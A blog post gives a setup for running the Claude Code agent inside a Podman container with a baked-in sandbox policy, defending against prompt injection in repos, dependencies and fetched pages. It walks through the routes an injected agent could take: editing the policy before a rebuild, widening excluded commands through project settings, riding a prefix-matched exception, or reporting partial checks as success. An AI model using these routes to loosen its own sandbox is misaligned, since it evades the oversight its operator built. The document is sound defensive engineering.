Andrey's Blog

Claude Code in a Podman container

Isolated Claude Code TUI for Fedora with podman. Only one workspace directory (~/Work in the examples) is exposed; toolbox would mount the whole home. Bash commands run in Claude Code’s own sandbox with an outbound domain allowlist. The policy is baked into the image and the build context lives outside the mount, so nothing running in the container can change the rules it runs under.

Everything below is in the repo: github.com/a-sologub/claude-box.

Threat model: a prompt injection in a repo, a dependency, or a fetched page gets Claude to run arbitrary commands with --dangerously-skip-permissions. The container must keep that from (a) reaching the host beyond ~/Work, (b) sending data to hosts we did not choose, and (c) persisting a weaker policy into the next session. (c) is the one most setups miss.

~/.config/claude-box/          # this repo — NOT under the workspace, see below
├── Dockerfile
├── managed-settings.json      # sandbox policy, baked into the image
├── run-tests                  # the one unsandboxed command, baked into the image
├── claude-box.sh              # shell functions: claude-box, -update, -rescue
├── user-settings.json         # '{}' — mounted read-only over the config volume
├── empty-policy.json          # '{}' — rescue only
├── config.env.example         # → config.env   workspace path, image name, limits
├── gitconfig.example          # → gitconfig    git identity + remote rewrites
└── gh-token.env.example       # → gh-token.env GitHub token, chmod 600

The three .example files are the only place anything personal lives. Copy each to its real name, fill it in; .gitignore keeps the copies out of the repo. The image itself carries no identity, no token, no hostnames.

Why not under the workspace: everything under the mounted directory is writable from inside the container. If the Dockerfile and policy lived there, an injection could edit them and wait for the next rebuild to bake in a weakened policy. Cloning this repo to ~/.config/claude-box makes the rebuild trustworthy without a git status ritual.

Setup:

git clone https://github.com/a-sologub/claude-box ~/.config/claude-box
cd ~/.config/claude-box
cp config.env.example config.env && cp gitconfig.example gitconfig && cp gh-token.env.example gh-token.env
chmod 600 gh-token.env
$EDITOR config.env gitconfig gh-token.env
echo 'source ~/.config/claude-box/claude-box.sh' >> ~/.bashrc && source ~/.bashrc
claude-box-update

1. managed-settings.json

{
  "sandbox": {
    "enabled": true,
    "failIfUnavailable": true,
    "allowUnsandboxedCommands": false,
    "enableWeakerNestedSandbox": true,
    "filesystem": {
      "allowWrite": ["~/.cache", "~/.config", "~/.local", "/tmp"]
    },
    "excludedCommands": ["run-tests", "run-tests *"],
    "network": {
      "strictAllowlist": true,
      "allowManagedDomainsOnly": true,
      "allowedDomains": [
        "host.containers.internal",
        "*.github.com", "github.com",
        "codeload.github.com", "objects.githubusercontent.com",
        "raw.githubusercontent.com",
        "registry.npmjs.org", "*.npmjs.org",
        "repo.packagist.org", "*.packagist.org",
        "pypi.org", "files.pythonhosted.org",
        "laravel.com", "filamentphp.com"
      ]
    }
  },
  "disableAllHooks": true,
  "allowedMcpServers": [],
  "permissions": {
    "deny": ["WebFetch", "WebSearch"]
  }
}

Why each key:

Living in the image means this file sits on the read-only rootfs. Changing it is a rebuild.

2. Dockerfile

FROM fedora:44

# Base tools
RUN dnf install -y git 'dnf-command(config-manager)' \
    && dnf config-manager addrepo --from-repofile=https://cli.github.com/packages/rpm/gh-cli.repo \
    && dnf install -y gh

# PHP + Laravel stack — swap this block for your own toolchain
RUN dnf install -y \
    php php-cli composer nodejs npm \
    php-bcmath php-intl php-gd php-mysqlnd php-mbstring php-xml php-zip \
    php-sodium php-opcache php-pdo php-pecl-redis6 \
    mariadb sqlite poppler-utils ffmpeg-free \
    && dnf clean all

# CLI tools the agent reaches for constantly. findutils/diffutils/procps-ng/
# which/less are not all in the base image and their absence shows up as
# confusing "command not found" failures. gcc/make/python3 are for node-gyp.
RUN dnf install -y \
    make gcc gcc-c++ python3 python3-pip \
    jq yq ripgrep fd-find \
    findutils diffutils procps-ng which less tree \
    curl wget unzip tar rsync \
    openssh-clients ca-certificates \
    ncurses-term \
    ImageMagick ShellCheck \
    && dnf clean all

# Sandbox dependencies — without these the sandbox cannot start
RUN dnf install -y bubblewrap socat && dnf clean all

# Sandbox policy. Must be before USER: /etc/claude-code/ is root-owned.
COPY managed-settings.json /etc/claude-code/managed-settings.json

# Large Laravel apps exceed PHP's 128M default when loading routes. Fixing it
# here removes the need for `php -d memory_limit=…` prefixes, which would
# otherwise defeat the excludedCommands match.
RUN printf 'memory_limit = 1G\n' > /etc/php.d/99-claude-box.ini

# The only command allowed to run outside the sandbox. Lives on the read-only
# rootfs so nothing inside can change what it does.
COPY --chmod=755 run-tests /usr/local/bin/run-tests

# Match the host user so files in the mounted workspace keep their owner.
ARG UID=1000
RUN useradd -m -u "$UID" claude

USER claude
WORKDIR /workspace


ENV NPM_CONFIG_PREFIX=/home/claude/.npm-global
ENV PATH=/home/claude/.npm-global/bin:$PATH
ENV NPM_CONFIG_CACHE=/home/claude/.cache/npm
ENV DISABLE_AUTOUPDATER=1

# Git identity and remote rewrites are NOT baked in. They come from a
# per-user gitconfig mounted at runtime (GIT_CONFIG_GLOBAL), so the image is
# shareable and contains no personal data.

# CACHE_BUST invalidates only the layers below it, so a rebuild refreshes
# Claude Code without re-downloading the whole Fedora toolchain.
ARG CACHE_BUST=0
RUN npm install -g @anthropic-ai/claude-code \
    && npm install -g @anthropic-ai/sandbox-runtime   # optional seccomp filter

run-tests is the only thing allowed to run unsandboxed. It picks vendor/bin/pest or vendor/bin/phpunit from the current directory, defaults DB_HOST to the host, and does nothing else. Keep it dumb; every line in it runs with full network.

Build with claude-box-update (it passes your id -u and a cache-bust arg).

Verify after every rebuild — these have failed silently before:

podman run --rm claude-code git config --global --get-all url."https://github.com/".insteadOf   # 3 lines
podman run --rm claude-code git config --global user.email                                      # wrong email = commits attributed to nobody
podman run --rm claude-code cat /etc/claude-code/managed-settings.json                          # policy actually in the image
podman run --rm claude-code claude --version                                                    # >= 2.1.219 for strictAllowlist

Unknown settings keys are ignored silently, so a too-old Claude Code turns strictAllowlist into nothing. The version check is not optional.

3. Identity and token (one-time, per machine)

gitconfig — mounted read-only at /home/claude/.gitconfig and selected with GIT_CONFIG_GLOBAL. It holds your name and email, the gh credential helper, and url.<https>.insteadOf rewrites for every SSH remote form your repos use. The rewrites exist because SSH host aliases from the host’s ~/.ssh/config (e.g. git@github.com-work:) do not exist inside the container; without them every push needs a full HTTPS URL, which also breaks --force-with-lease. insteadOf is multi-valued, so each rewrite is its own line — see gitconfig.example.

gh-token.env — github.com/settings/tokens?type=beta → fine-grained → only the repos under the workspace Claude should touch → Contents + Pull requests, read and write. Add read:org if gh needs org resources. Passed with --env-file rather than -e GH_TOKEN="$(cat …)": the latter puts the token in podman run’s argv, which sits in /proc/<pid>/cmdline (world-readable) for the entire session. Set a calendar reminder for the expiry.

config.env — workspace path, image name, DB host, resource limits.

4. claude-box

claude-box.sh defines three functions. claude-box is the daily entry point; claude-box-update rebuilds; claude-box-rescue is described below. Read the script — it is short — but the shape is:

podman run -it --rm \
  -w /workspace/<project>              # derived from $PWD, see below
  -v "$WORKSPACE:/workspace:z" \
  -v claude-code-config:/home/claude/.claude \
  -v claude-cache:/home/claude/.cache \
  -v gitconfig:/home/claude/.gitconfig:ro,z  -e GIT_CONFIG_GLOBAL=/home/claude/.gitconfig \
  -v user-settings.json:/home/claude/.claude/settings.json:ro,z \
  --read-only \
  --tmpfs /tmp:rw,size=2g,mode=1777 \
  --tmpfs /home/claude/.config:rw,size=64m \
  --tmpfs /home/claude/.local:rw,size=256m \
  -e CLAUDE_CONFIG_DIR=/home/claude/.claude -e DB_HOST=host.containers.internal \
  -e TERM -e COLORTERM -e TERM_PROGRAM -e TERM_PROGRAM_VERSION -e TMUX \
  --env-file gh-token.env \
  --userns=keep-id --security-opt no-new-privileges \
  --security-opt label=type:container_engine_t --cap-drop=ALL \
  --memory=8g --cpus=4 --pids-limit=2048 \
  claude-code claude --setting-sources user "$@"

-w follows your shell’s cwd. Run claude-box from inside a project and the session starts there. With filesystem isolation on, Bash can write cwd and below, so starting at the mount root would make every project writable.

Two additions compared to the obvious invocation:

--setting-sources user drops project and local settings (.claude/settings.json, .claude/settings.local.json) from the session. Managed settings always load. This is the only way to stop a checked-out repo from appending to excludedCommands, which managed settings cannot lock. Cost: per-project permission rules and env blocks in those files are ignored. CLAUDE.md is not a settings file and still loads.

Read-only settings.json over the config volume. User settings are the remaining scope that can widen excludedCommands, and the Edit tool can write the volume even with filesystem isolation on. Mounting {} read-only over it closes that. Everything else in the volume (login, history, session state) stays writable.

The flags that are easy to get wrong:

:z lowercase, never :Z. Uppercase relabels the tree with a private SELinux MCS category pair, regenerated on every podman run. A second container mounting the same folder relabels it and the first instantly loses access — symptom is every command failing with a bare exit code 1, no output, even echo. Fix: chcon -R -t container_file_t -l s0 ~/Work, and grep your project compose files for :Z too.

--security-opt label=type:container_engine_t is required for the sandbox. Without it bubblewrap cannot mount devpts and every Bash command fails with bwrap: Can't mount devpts on /dev/pts: Permission denied. The AVC shows the denial against container_t, i.e. it is SELinux, not seccomp — seccomp= unconfined and --cap-add SYS_ADMIN are the wrong track. Be honest about the cost: container_engine_t is the type for engines running inside containers and is materially more permissive than container_t. SELinux stays enforcing, but this container is less confined than a plain one.

5. Reaching the dev servers and the database

localhost inside the container is the container’s own loopback. Host services are reached at host.containers.internal:<port>, and they must bind 0.0.0.0 — a server on 127.0.0.1 is unreachable from here:

ss -tlnp | grep 8000     # 0.0.0.0:8000 good, 127.0.0.1:8000 not reachable

The sandbox proxy only carries HTTP and HTTPS. Raw TCP has no route, so the MySQL wire protocol cannot get through — curl host.containers.internal:8000 returns 200 while /dev/tcp/host.containers.internal/3306 reports Network is unreachable. No allowlist entry changes this; it is a protocol limit, not a domain decision.

Consequence: projects whose tests hit a database on the host need their test runner outside the sandbox. That is what run-tests is for: excluded from the sandbox, full network, no prompt.

Do not fight the .env. A typical .env says DB_HOST=127.0.0.1, which is the container’s own loopback. Laravel loads .env immutably, so a real environment variable wins: claude-box sets DB_HOST (from config.env) for the whole session and run-tests defaults it too. No DB_HOST=… prefix on the command line, ever — a prefix in front of the command is exactly what makes an excludedCommands pattern stop matching. Check phpunit.xml in the database-backed projects for an <env name="DB_HOST"> override, which would win over both. Projects that test against SQLite in-memory run sandboxed with no exception at all. The clean fix is the database and the box on a shared podman network; moving test suites to SQLite retires the exception entirely.

6. Verifying the whole thing works

Do this after every rebuild. In a session, without a leading ! — a ! prefix runs outside the sandbox and measures the container, not the policy.

Policy is loaded. /sandbox → Config tab. Every key from section 1 must appear resolved; ~/.claude paths must be listed under Denied within allowed. “Enabled” on the Mode tab means configured, not started — it says that while bubblewrap fails on every command.

Egress.

curl -sS -i -m 5 https://instagram.com/                      # blocked
curl -sS -i -m 5 http://host.containers.internal:8000/       # 200

A correct block says so explicitly:

curl: (56) CONNECT tunnel failed, response 403
X-Proxy-Error: blocked-by-allowlist
deny network-outbound instagram.com:443 (host is not on the allow list)

The exclusion does what you think. From a database-backed project, run all three:

run-tests                                                    # unsandboxed: reaches the DB, tests run
run-tests --filter=Nothing                                   # same, with an argument
run-tests --version && curl -sS -m 5 https://instagram.com/  # know whether this is blocked

The first two confirm the exception fires; a Connection refused or Network is unreachable from the DB means it did not. The third confirms it stops at the excluded command. That distinction matters: a model inside the box can easily verify the first and report success without touching the third.

If the second one succeeds, the exclusion matcher is prefix-based and an injection can ride it. Decide whether that is acceptable before continuing.

Escalation paths are shut. Ask Claude to:

Filesystem layer is on. From a project cwd, touch ../other-project/x must fail with Read-only file system.

Adding a domain means editing managed-settings.json and rebuilding. Each failure names the host in the deny network-outbound line.

What this protects, and what it doesn’t

Inside the container Claude sees /workspace (the whole workspace directory), the two volumes, the read-only gitconfig, three tmpfs mounts, and nothing else from the host — not ~/.ssh, not the token file, not this repo. Bash egress is limited to the allowlist, enforced by a proxy outside the sandboxed process, so it survives a prompt injection. WebFetch, hooks and MCP — the tools that would bypass that proxy — are switched off by policy the container cannot rewrite.

Remaining gaps:

The fix that covers most of this is an egress proxy container plus --network: it applies to the whole container rather than just Bash, removes the nested bubblewrap dependency, carries raw TCP so the excludedCommands exception could go away, and can terminate TLS.

Requests from inside the box

The model will, sooner or later, ask for a policy change so it can finish a task — a wider excludedCommands pattern, a domain, an MCP server. That is normal and usually well-intentioned. Decide it here, on the host, on the merits: fix the root cause (a wrong .env value, a php.ini limit) rather than loosening the matcher, and never accept a leading-wildcard pattern. A report from inside that a restriction “works” only shows what the model tested; run section 6 yourself.

Habit note

--dangerously-skip-permissions is the point of the container and fine inside it. The risk is muscle memory carrying it to a host terminal. Cleanest fix:

npm uninstall -g @anthropic-ai/claude-code

Troubleshooting